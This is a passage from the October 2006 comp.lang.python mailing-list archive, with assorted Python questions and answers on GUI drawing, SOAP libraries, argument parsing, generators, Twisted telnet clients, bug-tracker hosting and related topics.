> - Henrik Binggl (10 euro) > > - Jerol Harrington (10 euro) > > - Victor Adan (10 euro) > > - James Fuqua (10 euro) > > - Christian Seberino (5 euro) > > - Serge Smeesters (5 euro) > > - Jarek Libert (5 euro) > > - Robin Friedrich (5 euro) > > - Udo Rabe (5 euro) > > - Roch Leduc (4 euro) > > - Rha Diseno y Desarrollo (2 euro) > > > > :**Installation**: > > > > - See http://pythonide.stani.be/manual/html/manual2.html > > > > :**Development**: > > > > - http://developer.berlios.de/mail/?group_id=4161 > > > > About SPE: > > SPE is a python IDE with auto-indentation, auto completion, call tips, > > syntax coloring, uml viewer, syntax highlighting, class explorer, > > source index, auto todo list, sticky notes, integrated pycrust shell, > > python file browser, recent file browser, drag&drop, context help, ... > > Special is its blender support with a blender 3d object browser and its > > ability to run interactively inside blender. Spe integrates with XRCed > > (gui > > designer) and ships with wxGlade (gui designer), PyChecker (source > > code doctor), Kiki (regular expression console) and WinPdb (remote, > > multi-threaded debugger). > > > > The development of SPE is driven by its donations. Anyone who donates > > can ask for an nice pdf version of the manual without ads (74 pages). From grante at visi.com Tue Oct 24 11:27:23 2006 From: grante at visi.com (Grant Edwards) Date: Tue, 24 Oct 2006 15:27:23 -0000 Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> Message-ID: <12jsc6r4ddnr886@corp.supernews.com> On 2006-10-24, Odalrick wrote: > I need to draw visible lines on pictures with wxPython. That means I > can't simply use, for instance, a black line since it wont be visible > on a black or dark picture. > > Painting applications like the GIMP accomplish this by altering the > colour of the line based on the colour of the pixel it covers, Yup. > but the only way I can think of doing that is getting each > pixel, transforming the colour then painting it on the screen, > which seems like a horribly inefficient way do it. That's not how it's generally done. When you draw a line, most graphics toolkits allow you to specify an "operator" that is applied to the existing pixel and the line-color to determine the new pixel color. The traditional way to draw lines on something with varying colors is to use the "xor" operator when drawing the lines. -- Grant Edwards grante Yow! Can you MAIL a BEAN at CAKE? visi.com From guid.china at gmail.com Wed Oct 18 10:37:54 2006 From: guid.china at gmail.com (haishan chang) Date: Wed, 18 Oct 2006 22:37:54 +0800 Subject: How to execute a linux command by python? Message-ID: How to execute a linux command by python? for example: execute "ls" or "useradd oracle" Who can help me? thank you! -------------- next part -------------- An HTML attachment was scrubbed... URL: From apardon at forel.vub.ac.be Mon Oct 9 07:27:40 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 9 Oct 2006 11:27:40 GMT Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: On 2006-10-08, Steven D'Aprano wrote: > On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote: > >>>> With the caveat of the "=" mentioned in the subject-line (being >>>> different from "==")...I haven't found any way to override >>>> assignment in the general case. >>> >>> Why would you want to do that? >> >> For the same reason one would use property() to create >> getter/setter functions for a particular variable--to intercept >> attempts to set a variable. > > Despite sloppy talk to the contrary (which I think most of us do from time > to time), Python doesn't have variables. It has names and objects. Names > are just labels -- there is no difference in behavior between the *names* > this_is_an_integer and this_is_a_string. (The *objects* they point to are > a different story, naturally.) I honestly don't see why "variable" would be an inappropiate word to use. AFAIU, python assignment seems to behave much like lisp and smalltalk and I never heard that those communities found the word "variable" inappropiate to use. And since the word variable originally comes from mathematics and IMHO the mathematical semantics are closer to the lisp/smalltalk/python semantics than the C/algol/pascal/ada semantics I don't see why "variable" is seen as "sloppy talk" -- Antoon Pardon From nelson1977 at gmail.com Tue Oct 31 02:43:11 2006 From: nelson1977 at gmail.com (nelson -) Date: Tue, 31 Oct 2006 08:43:11 +0100 Subject: 3d programming without opengl Message-ID: hi! i want to build up a simple 3d interactive geometry application in python. Since i want to run it without 3D acceleration (a scene will be quite simple) I was wondering if there was a library in python that allow me to build 3D graphic without the need to use OpenGL.... I google but i can't find nothing interesting... (the best would be a pure python solution) Thanks, nelson From daniel.huangfei at gmail.com Fri Oct 13 04:11:27 2006 From: daniel.huangfei at gmail.com (daniel) Date: 13 Oct 2006 01:11:27 -0700 Subject: always raise syntax error! In-Reply-To: References: <1160720758.730483.56680@i42g2000cwa.googlegroups.com> Message-ID: <1160727087.763855.206040@i3g2000cwc.googlegroups.com> thank you so much for the reply. I finally re-type all the codes where python would raise syntax error, then fixed. I did not examine every single word of my old codes though, there might be some parenthesis not matching somewhere, I guess. well, I would say, the reason why I could not position the error code may partly due to the ambiguous message that python provides. the lines that python pointed to contains no error, I think the error codes must be too far away from there. anyway, I hope python would make more detailed error messages, like c++ compilers do. such as: "missing ;" or "(" not matching...etc. tks again.. daniel From thomas.weholt at gmail.com Tue Oct 24 14:52:04 2006 From: thomas.weholt at gmail.com (Thomas W) Date: 24 Oct 2006 11:52:04 -0700 Subject: The status of Python and SOAP? Message-ID: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> I'm going to give a presentation of python to my co-workers at a very pro-microsoft workplace. Almost everything we need is currently supported by the standard distro + the win32all package, but we also need support for SOAP. I've tried SOAPpy ( didn't get it to compile, needed a library from a dead site ) and a few others, but I cannot help the feeling that SOAP isn't very high on the list of priorities in the python community. I hope I'm wrong. In short: What library is currently the best alternative to implement stable, efficient SOAP-webservices, both client and servers? What library is being actively maintained? Any hint or help would be great. From stephenhicks at gmail.com Wed Oct 4 20:43:19 2006 From: stephenhicks at gmail.com (stephenhicks at gmail.com) Date: 4 Oct 2006 17:43:19 -0700 Subject: Definition of '1j'? Message-ID: <1160008999.142645.67250@k70g2000cwa.googlegroups.com> Hi, I'm wondering how/where the syntax for, e.g., 1j is defined. Is it something I can define myself? In particular, I make very heavy use of a complex unit other than j (I'll call it 1k=exp(pi*1j/3)), and it would be terribly convenient to make my own complex class based on this unit, which would construct and display results in this form, i.e. >>> (1+2k)*1k -2+3k It's not a terrible inconvenience if this is not possble, since I can just define K=mycomplex(0,1), but I really do like the 1j notation, and the problem with the other notation is that K could easily get overwritten (and thus suggests I need a better name), while 1k would take intention to mess up. Thanks, -- Steve Hicks From skip at pobox.com Fri Oct 6 09:20:07 2006 From: skip at pobox.com (skip at pobox.com) Date: Fri, 6 Oct 2006 08:20:07 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: <7x3ba1ltvj.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> <7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: <17702.22535.588328.586045@montanaro.dyndns.org> Paul> How often should a tracker freeze anyway? People with no Paul> technical knowledge at all run BBS systems that almost never Paul> freeze. Is a tracker somehow more failure-prone? It's just a Paul> special purpose BBS, I'd have thought. And when those BBS systems get hacked they can be down for extended periods of time. I have an old Porsche and participate in the discussion forums at 914club.com. There is a team of admins to moderate the discussion forums, but just one guy to do the technical work. The site is powered by some common forum software package (really a modern day bbs). It gets hacked from time-to-time. When that happens, we're all left with the DTs while the board gets put back together. As for this question from Giovanni: Giovanni> Are bug-tracker configuration issues so critical that having Giovanni> to wait 48-72hrs to have them fixed is absolutely unacceptable Giovanni> for Python development? Yes, I think that would put a crimp in things. The downtimes we see for the SourceForge tracker tend to be of much shorter duration than that (typically a few hours) and cause usually minor problems when they occur. For the tracker to be down for 2-3 days would make the developers temporarily blind to all outstanding bug reports and patches during that time and prevent non-developers from submitting new bugs, patches and comments. Those people might well forget about their desired submission altogether and not return to submit them once the tracker was back up. Skip From clodoaldo.pinto at gmail.com Wed Oct 4 15:43:16 2006 From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto) Date: 4 Oct 2006 12:43:16 -0700 Subject: CGI Tutorial In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> Message-ID: <1159990996.245787.213670@h48g2000cwc.googlegroups.com> Clodoaldo Pinto Neto wrote: > I'm just building a Python CGI Tutorial and would appreciate any > feedback from the many experts in this list. http://webpython.codepoint.net From http Wed Oct 25 14:39:45 2006 From: http (Paul Rubin) Date: 25 Oct 2006 11:39:45 -0700 Subject: cleaner way to write this? References: Message-ID: <7xwt6o44um.fsf@ruckus.brouhaha.com> John Salerno writes: > I just need some advice for how to structure > the check of the empty string. How about return db_name or None since the empty string taken as a boolean is False. From mmanns at gmx.net Mon Oct 16 18:20:54 2006 From: mmanns at gmx.net (Martin Manns) Date: Mon, 16 Oct 2006 22:20:54 GMT Subject: Max-plus library Message-ID: Hello, Is there any library that allows employing max-plus dioids in python (e.g. based on numpy/scipy)? The only libraries that I found so far are for Matlab / Octave, Scilab and Maple: http://ifatwww.et.uni-magdeburg.de/~stanczyk/mpa/index.php http://www-rocq.inria.fr/MaxplusOrg/soft.html Thanks Martin From matthew_j_warren at hotmail.com Wed Oct 11 08:01:00 2006 From: matthew_j_warren at hotmail.com (MatthewWarren) Date: 11 Oct 2006 05:01:00 -0700 Subject: Bad Code (that works) help me re-write! In-Reply-To: <1160566679.286427.168840@e3g2000cwe.googlegroups.com> References: <1160566679.286427.168840@e3g2000cwe.googlegroups.com> Message-ID: <1160568060.624145.230370@i42g2000cwa.googlegroups.com> oop. posted with wrong account, sorry for attatched disclamers in other posts. From wdraxinger at darkstargames.de Sat Oct 28 12:02:51 2006 From: wdraxinger at darkstargames.de (Wolfgang Draxinger) Date: Sat, 28 Oct 2006 18:02:51 +0200 Subject: Safely renaming a file without overwriting References: <72sb14-08j.ln1@darkstargames.dnsalias.net> <4qh8u1Fn1s4aU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: >> 1: Open the file with os.open >> >> 2: Lock the file exclusively -> no other process can now >> access it. >> >> 3: Use rename to rename the file; this causes a file system >> level implicit unlink of the old file (it dissappears from the >> file system) but the opening process can still access it. >> >> 4: close the file -> the lock is removed and the rename >> finalized. The open is to happen on the new file name with O_CREAT | O_EXCL flags. Sorry, I forgot that to mention explicitly. However I have not tried it yet, but it should work. Wolfgang Draxinger -- E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867 GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E From fredrik at pythonware.com Mon Oct 2 07:14:38 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 2 Oct 2006 13:14:38 +0200 Subject: __init__ style questions References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> Message-ID: Duncan Booth wrote: > No it isn't Pythonic. rubbish. using a single constructor that handles two common use cases is perfectly Pythonic (especially if you're targeting casual programmers). From pretoriano_2001 at hotmail.com Tue Oct 10 09:55:51 2006 From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) Date: 10 Oct 2006 06:55:51 -0700 Subject: Encode differences between idle python and python In-Reply-To: References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com> Message-ID: <1160488550.884415.237450@k70g2000cwa.googlegroups.com> Gabriel, Peter: Many thanks for your clear answers!! Best regards. Vizcayno From kw at kevin-walzer.com Tue Oct 24 12:27:55 2006 From: kw at kevin-walzer.com (Kevin Walzer) Date: Tue, 24 Oct 2006 12:27:55 -0400 Subject: python GUIs comparison (want) In-Reply-To: <453e3c5a$0$23254$426a74cc@news.free.fr> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453e3c5a$0$23254$426a74cc@news.free.fr> Message-ID: <453E3F0B.6070606@kevin-walzer.com> Christophe wrote: > Since when is "based on C++ toolkit" a con? > If you don't know C++ (as is the case with me), then it's difficult to do a C++-to-Python translation in looking at code examples. -- Kevin Walzer Code by Kevin http://www.codebykevin.com From bdesth.quelquechose at free.quelquepart.fr Tue Oct 31 17:04:39 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Tue, 31 Oct 2006 23:04:39 +0100 Subject: Ctypes Error: Why can't it find the DLL. In-Reply-To: <1161995824.947791.117190@m73g2000cwd.googlegroups.com> References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com> <453e9de8$0$12416$426a74cc@news.free.fr> <1161995824.947791.117190@m73g2000cwd.googlegroups.com> Message-ID: <4547c3dc$0$304$426a74cc@news.free.fr> Mudcat a ?crit : > That was it. Once I added the other DLLs then it was able to find and > make the call. > > Thanks for all the help, I just googled for "WindowsError: [Errno 126]" and followed the links, you know... From steven.bethard at gmail.com Tue Oct 3 18:28:36 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 03 Oct 2006 16:28:36 -0600 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> Message-ID: erikwickstrom at gmail.com wrote: > I'm trying to get this bit of code to work without triggering the > IndexError. > > import shutil, os, sys > > if sys.argv[1] != None: > ver = sys.argv[1] > else: > ver = '2.14' Something like:: if len(sys.argv) > 1: ver = sys.argv[1] else: ver = '2.14' It looks like you're trying to do argument parsing, though and for anything more complicated than the above, you might prefer to use a real argument parsing library like argparse_:: import argparse parser = argparse.ArgumentParser(description='print the version') parser.add_argument('ver', nargs='?', default='2.14', help='the version number to print') args = parser.parse_args() print args.ver Then from the command line:: $ script.py 2.14 $ script.py 3.14159265359 3.14159265359 $ script.py -h usage: script.py [-h] [ver] print the version positional arguments: ver the version number to print optional arguments: -h, --help show this help message and exit And then you can feel good about yourself for also documenting your command-line interface. ;-) .. _argparse: http://argparse.python-hosting.com/ STeVe From fredrik at pythonware.com Wed Oct 4 03:06:52 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 04 Oct 2006 09:06:52 +0200 Subject: Compiling binaries In-Reply-To: References: Message-ID: Henrique Nakashima wrote: > Hi, I'm trying to find a way to compile .py files into linux binaries, > so that i can distribute a program without having the user install > python itself. Is there a way to do that? http://effbot.org/zone/python-compile.htm From mahall at ncsa.uiuc.edu Fri Oct 6 16:32:09 2006 From: mahall at ncsa.uiuc.edu (Matteo) Date: 6 Oct 2006 13:32:09 -0700 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: References: Message-ID: <1160166729.868246.56630@b28g2000cwb.googlegroups.com> Peter Maas wrote: > I have noticed that in the language shootout at shootout.alioth.debian.org > the Python program for the n-body problem is about 50% slower than the Perl > program. This is an unusual big difference. I tried to make the Python program > faster but without success. Has anybody an explanation for the difference? > It's pure math so I expected Perl and Python to have about the same speed. > > Peter Maas, Aachen Well, one implementation difference is that the Perl script uses parallel global arrays (one array for each positional component, one for each velocity component, and one for mass) whereas the python implementation uses planet objects. Now, this may not actually make too much of a difference as it is, but if you really want to make the python version faster, I'd use the Numeric or Numpy (parts of which may soon be standardized), and do array-wide computations, rather than using python loops (at least replacing the innermost loops). My reasonably well-informed guess is that the speed would improve markedly. Of course, numpy is not a standard package (though there is a proposal to add a standard 'array' package to python, based of numpy/numeric), but if you want to do any numerics with python, you shouldn't be without it. -matt From ldo at geek-central.gen.new_zealand Sun Oct 8 23:47:46 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 16:47:46 +1300 Subject: CGI Tutorial References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1159990808.443737.85880@i3g2000cwc.googlegroups.com> <45241872.2020008@tim.thechases.com> Message-ID: In message , Clodoaldo Pinto Neto wrote: > 2006/10/4, Tim Chase : > >> The code is very dangerous...allowing any ol' schmoe to run >> arbitrary code on your server. At the barest of minimums, I'd >> plaster the code with warnings that this is a Very Dangerous >> Thing(tm) to do. > > I though the danger was so obvious that i didn't bother. Now i have > issued a warning. I wonder whether warnings are enough. People are still going to copy and paste the dodgy code from your tutorial into their site. The only way around this is to offer good, robust code to begin with. From exarkun at divmod.com Fri Oct 27 14:31:20 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Fri, 27 Oct 2006 14:31:20 -0400 Subject: Telnetlib to twisted In-Reply-To: Message-ID: <20061027183120.20948.1444133058.divmod.quotient.2592@ohm> On Fri, 27 Oct 2006 16:40:44 +0100, Matthew Warren wrote: >Hallo, > >>>> import telnetlib >>>> l=telnetlib.Telnet('dbprod') >>>> l.interact() >telnet (dbprod) > >Login: > > >Could anyone show how the above would be written using the twisted >framework? All I'm after is a more 'intelligent' interactive telnet >session (handles 'vi' etc..) rather than the full capabilities of the >twisted framework. > Basically you want to hook up a telnet connection to stdio. You can find a couple examples of using stdio in a Twisted application here: http://twistedmatrix.com/projects/core/documentation/examples/stdiodemo.py http://twistedmatrix.com/projects/core/documentation/examples/stdin.py Then you need a telnet connection to send the bytes you read from stdin to and from which to receive bytes to write to stdout. I don't think there are any good examples of using telnet as a client, but it's pretty straightforward. Something like this, for example, will make a telnet connection and then write all the non-telnet negotiation data to stdout: from twisted.internet.protocol import ClientCreator, reactor from twisted.conch.telnet import Telnet class PrintingTelnet(Telnet): def applicationDataReceived(self, bytes): print bytes def main(): cc = ClientCreator(reactor, PrintingTelnet) d = cc.connectTCP(host, port) def connected(proto): print 'Connected' reactor.run() if __name__ == '__main__': main() The part where a lot of people get stuck is hooking up the stdio protocol to the network protocol. For this, you just need to make sure each instance has a reference to the other. You can then call methods on the stdio protocol from the telnet protocol when bytes are received, and vice versa. You may need to add in a layer to handle terminal control sequences, since those pass through telnet and will get through to your application. On the other hand, if all you do is write them to stdout, your actual terminal should handle them. You'll only need an extra layer if you want to do extra interpretation. Hope this helps, Jean-Paul From fredrik at pythonware.com Tue Oct 10 10:26:57 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 16:26:57 +0200 Subject: can regular ol' python do a php include? References: Message-ID: John Salerno wrote: > Whenever I turn an eye back toward website design, I find myself making > frequent use of PHP's include function (or SSI's include directive). So > I'm curious, is there a way to do this with Python using just the > standard library? you don't even need anything from the standard library to inserting output from one function into given text... text = "... my page with %(foo)s markers ..." print text % dict(foo=function()) (doing this with output from another Python script is of course also easy; just use execfile, and collect the output, but that's pretty silly when you can import the darn thing, and call it instead). From khrom at inp.kz Fri Oct 27 06:00:52 2006 From: khrom at inp.kz (khromushin) Date: Fri, 27 Oct 2006 03:00:52 -0700 (PDT) Subject: Embedding Matplotlib images into wxPython In-Reply-To: <1125420462.124637.113810@z14g2000cwz.googlegroups.com> References: <1125420462.124637.113810@z14g2000cwz.googlegroups.com> Message-ID: <7027545.post@talk.nabble.com> I wrote a matplotlib Boa constructor plug-in. It is very easy to add it into a wxframe, sizers etc in Boa constructor. If you are interested in the plugin, pls. send e-mail to khrom at inp.kz. Igor Khromushin dr_tyson at hotmail.com wrote: > > I am trying to embed images into a wxPython app (created using Boa > Constructor), but have not been able to do so. I know how to embed > plots, but images seem to be a problem. I've tried using code analogous > to the example given at the Matplotlib website to no avail. If anybody > has been successful at this could you please post some sample code? > That would be greatly appreciated. Thanks! > > Randy > > -- > http://mail.python.org/mailman/listinfo/python-list > > -- View this message in context: http://www.nabble.com/Embedding-Matplotlib-images-into-wxPython-tf265283.html#a7027545 Sent from the Python - python-list mailing list archive at Nabble.com. From jweida at gmail.com Fri Oct 20 17:21:59 2006 From: jweida at gmail.com (Jerry) Date: 20 Oct 2006 14:21:59 -0700 Subject: I like python. In-Reply-To: References: Message-ID: <1161379318.934985.115810@m7g2000cwm.googlegroups.com> On Oct 20, 2:59 am, Fidel wrote: > Could someone please tell me what I need to put into a python script > to not have a window come up however briefly? Like when I double click > on the script, it will do it's job but won't open a command window > then close it.. I hope that explains what I'm looking for. If I see > the line I can figure out by syntax where it should go. I'm really > good at learning the gist of languages by syntax. Thank you all for > your time Are you running any external commands by using os.system() or os.exec()? If you are running a program that is a console program (i.e. copy, move, del, etc...) then it will open up a command window to run it. If that is the case, then you can try using the os.popen() utility instead. -- Jerry From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Thu Oct 12 13:46:36 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Thu, 12 Oct 2006 19:46:36 +0200 Subject: strings in the global section References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com> Message-ID: <4p7dbsFh384nU1@individual.net> Phoe6 wrote: > But it is not so. It always prints This is a String. astring > declared outside all the functions, is not in global section and > values be overwritten by functions accessing it? > > - How is this working? If you assign "astring" inside the function body, it's a local name. > - What should I do to overwrite the string variable in the global > section within functions? Put a "global astring" in the function to access the global name instead. BTW, think about using a better interface than globals. Regards, Bj?rn -- BOFH excuse #23: improperly oriented keyboard From fredrik at pythonware.com Sun Oct 8 15:47:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 21:47:43 +0200 Subject: PEP 342 misunderstanding In-Reply-To: <1160335982.242058.59780@k70g2000cwa.googlegroups.com> References: <1160335982.242058.59780@k70g2000cwa.googlegroups.com> Message-ID: metamoof at gmail.com wrote: >>>> def printrange(): > ... for x in range(10): > ... x = yield x > ... print x > ... >>>> g = printrange() >>>> for x in g: > ... g.send(x*2) > ... > 0 > 1 > None > 4 > 3 > None > 8 > 5 > None > 12 > 7 > None > 16 > 9 > None > > Now, I was expecting that to be 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20. > > What am I missing here? the output doesn't match your sample program; I assume you left out a print statement or two from the second loop. what you seem to be missing is that "next" (which is called by the for-in loop) is basically the same thing as "send(None)". in other words, you end up pulling two items from the generator for each iteration. From rosedb0 at gmail.com Mon Oct 16 15:22:06 2006 From: rosedb0 at gmail.com (hiaips) Date: 16 Oct 2006 12:22:06 -0700 Subject: string splitting In-Reply-To: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> Message-ID: <1161026526.424157.288960@k70g2000cwa.googlegroups.com> rdhar... at gmail.com wrote: > Hello, > I have thousands of files that look something like this: > > wisconsin_state.txt > french_guiana_district.txt > central_african_republic_province.txt > > I need to extract the string between the *last* underscore and the > extention. > So based on the files above, I want returned: > state > district > province > > My plan was to use .split or .find but I can't figure out how locate > only the last underscore in the filename. > > Anyone have any ideas? > > Thanks. > R.D. Hi, Try splitting the string on "." and using rfind to find the last instance of "_". i.e., myStr = "wisconsin_state.txt" pieces = myStr.split(".") substr = pieces[0][pieces[0].rfind("_") + 1:] --hiaips From fredrik at pythonware.com Wed Oct 18 03:17:02 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 09:17:02 +0200 Subject: [OT] a little about regex In-Reply-To: <200610181337.42579.fulvio@tm.net.my> References: <200610181337.42579.fulvio@tm.net.my> Message-ID: Fulvio wrote: > ... if deny.search(adr): cnt += 1 > ... if allow.search(adr): cnt += 1 hint: under what circumstances are "cnt" decremented in the above snippet? From ptmcg at austin.rr._bogus_.com Thu Oct 26 09:24:34 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 26 Oct 2006 13:24:34 GMT Subject: Can any one help with solving this program it just doesnt take probability of the second team References: <1161845731.501326.46510@h48g2000cwc.googlegroups.com> Message-ID: "Arun Nair" wrote in message news:1161845731.501326.46510 at h48g2000cwc.googlegroups.com... > ''' Can anyone help me with this program it just takes probability of > the first team and runs the program doesnt takes the probability of the > second team even though specified''' > > from random import * > > def volleySimulation(): > printInstructions() > probA, probB, n = getInputs() > winA, winB = simGames(n, probA, probB) > printSummary(winA, winB) > > def printInstructions(): > print "This program stimulates a game of Volley Ball between two > teams i.e. Team A and Team B" While I was "stimulated" by reading this post, I think you mean "simulates" here. :) -- Paul From larry.bates at websafe.com Fri Oct 27 10:56:24 2006 From: larry.bates at websafe.com (Larry Bates) Date: Fri, 27 Oct 2006 09:56:24 -0500 Subject: Tracing the execution of scripts? In-Reply-To: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Message-ID: I just thought I would put my 2 cents in on this issue. Others have suggested that unit tests are an excellent way of debugging your code and I agree. I also find that writing code from the outset using a logging class (there is one in the standard library) that allows you to create log files of information as you run your application is a good idea. Using increasingly detailed logs (I use a debug mode of 1,2,3,4 for more detail) that dump where you are and intermediate variable values works EXTREMELY well for me. I leave this code in the application so that I can have customers (or myself) run the application in debug mode should I have a hard to find problem. This is especially true for long running or lights-out batch apps that have no UI making debugging even more difficult. I find that the overhead of testing if I'm in debug mode and logging results is almost non-existent to the overall execution speed of my scripts, but then I don't have very many really speed sensitive scripts so your mileage might vary. Hope the information helps. -Larry From jjl at pobox.com Fri Oct 6 16:23:32 2006 From: jjl at pobox.com (John J. Lee) Date: Fri, 06 Oct 2006 20:23:32 GMT Subject: n-body problem at shootout.alioth.debian.org References: Message-ID: <87sli1yz0c.fsf@pobox.com> Peter Maas writes: > I have noticed that in the language shootout at shootout.alioth.debian.org > the Python program for the n-body problem is about 50% slower than the Perl > program. This is an unusual big difference. I tried to make the Python program > faster but without success. Has anybody an explanation for the difference? > It's pure math so I expected Perl and Python to have about the same speed. > > Peter Maas, Aachen Replacing ** with multiplication in advance() cut it down to 0.78 times the original running time for me. That brings it along side PHP, one place below Perl (I didn't bother to upload the edited script). John From dimitri.pater at gmail.com Tue Oct 31 20:17:35 2006 From: dimitri.pater at gmail.com (dimitri pater) Date: Wed, 1 Nov 2006 02:17:35 +0100 Subject: [ANN] serpia.org needs more tutorials Message-ID: Hi, for almost a year now I have been running my serpia.org website. This website is dedicated to Python stuff. I figured that it would be a good idea to share some experiences while learning the language and that is why I started this website. Maybe some of you share this idea and would like to contribute your tutorials/thoughts/articles/whatever to serpia.org. So, if you have written tutorials or any other material on Python, just contact me and I will happy to add it to serpia.org. I will give you full credit of course and make a nice layout. And yes, the website has those "annoying" Google ads. But it helps me paying the hosting bills ;-) Thanks, Dimitri -- --- You can't have everything. Where would you put it? -- Steven Wright --- please visit www.serpia.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From paddy3118 at netscape.net Fri Oct 20 22:54:46 2006 From: paddy3118 at netscape.net (Paddy) Date: 20 Oct 2006 19:54:46 -0700 Subject: why does this unpacking work References: Message-ID: <1161399285.948294.212870@m73g2000cwd.googlegroups.com> John Salerno wrote: > I'm a little confused, but I'm sure this is something trivial. I'm > confused about why this works: > > >>> t = (('hello', 'goodbye'), > ('more', 'less'), > ('something', 'nothing'), > ('good', 'bad')) > >>> t > (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), > ('good', 'bad')) > >>> for x in t: > print x > > > ('hello', 'goodbye') > ('more', 'less') > ('something', 'nothing') > ('good', 'bad') > >>> for x,y in t: > print x,y > > > hello goodbye > more less > something nothing > good bad > >>> > > I understand that t returns a single tuple that contains other tuples. > Then 'for x in t' returns the nested tuples themselves. > > But what I don't understand is why you can use 'for x,y in t' when t > really only returns one thing. I see that this works, but I can't quite > conceptualize how. I thought 'for x,y in t' would only work if t > returned a two-tuple, which it doesn't. > Hi John, Thats the point were you go astray. iterating over t *does* produce a 2-tuple that can be unpacked immediately. maybe this will help, (notice that element is always one of the inner tuples): >>> tpl = ((00,01), (10,11), (20,21)) >>> for element in tpl: ... print "tpl provides this when iterated over:", element ... tpl provides this when iterated over: (0, 1) tpl provides this when iterated over: (10, 11) tpl provides this when iterated over: (20, 21) >>> for element in tpl: ... print "tpl provides this when iterated over:", element ... sub0, sub1 = element ... print "each element unpacks to:", sub0,"and:", sub1 ... tpl provides this when iterated over: (0, 1) each element unpacks to: 0 and: 1 tpl provides this when iterated over: (10, 11) each element unpacks to: 10 and: 11 tpl provides this when iterated over: (20, 21) each element unpacks to: 20 and: 21 >>> for sub0, sub1 in tpl: ... print "each element of tuple unpacked immediately to:", sub0,"and:", sub1 ... each element of tuple unpacked immediately to: 0 and: 1 each element of tuple unpacked immediately to: 10 and: 11 each element of tuple unpacked immediately to: 20 and: 21 >>> - Paddy. From pearl.eyes2 at gmail.com Fri Oct 6 11:25:03 2006 From: pearl.eyes2 at gmail.com (NOSHII) Date: 6 Oct 2006 08:25:03 -0700 Subject: profiling memory usage In-Reply-To: <1160090510.346379.285400@c28g2000cwb.googlegroups.com> References: <1160090510.346379.285400@c28g2000cwb.googlegroups.com> Message-ID: <1160148303.575815.193280@e3g2000cwe.googlegroups.com> > Hi, > > I am looking for a method to profile memory usage in my python program. > The program provides web service and therefore is intended to run for a > long time. However, the memory usage tends to increase all the time, > until in a day or two the system cannot handle it any more and starts > to do constant swapping. Is there a way to look at which objects or > variables are taking the huge amount of memory space? > > Thanks, > From python.list at tim.thechases.com Thu Oct 19 11:45:37 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 19 Oct 2006 10:45:37 -0500 Subject: [OT] Re: A suggestion/request for IDEs In-Reply-To: <1161270895.245695.176750@m7g2000cwm.googlegroups.com> References: <1161270895.245695.176750@m7g2000cwm.googlegroups.com> Message-ID: <45379DA1.9010504@tim.thechases.com> John Salerno wrote: > I apologize for the slightly off-topic nature, but I thought I'd just > throw this out there for anyone working on text editors or IDEs with > auto-completion. Well, Vim7's autocompletion already allows this. Earlier versions of vim also allowed similar behavior, but (AFAIK) didn't have a nice way to cancel the suggestion or to accept the suggestion without an additional character (or leaving insert mode). In Vim7, you can abort your current ^P/^N completion with ^E (to regain just what you typed, minus the current completion/suggestion) or you can accept it with ^Y (which won't add an extra character), or you can just continue typing to accept the completion, and then add the character you typed (such as space, period, etc). Other editors/IDEs may have similar functionality... -tkc From amk at amk.ca Wed Oct 4 08:55:59 2006 From: amk at amk.ca (A.M. Kuchling) Date: Wed, 04 Oct 2006 07:55:59 -0500 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> 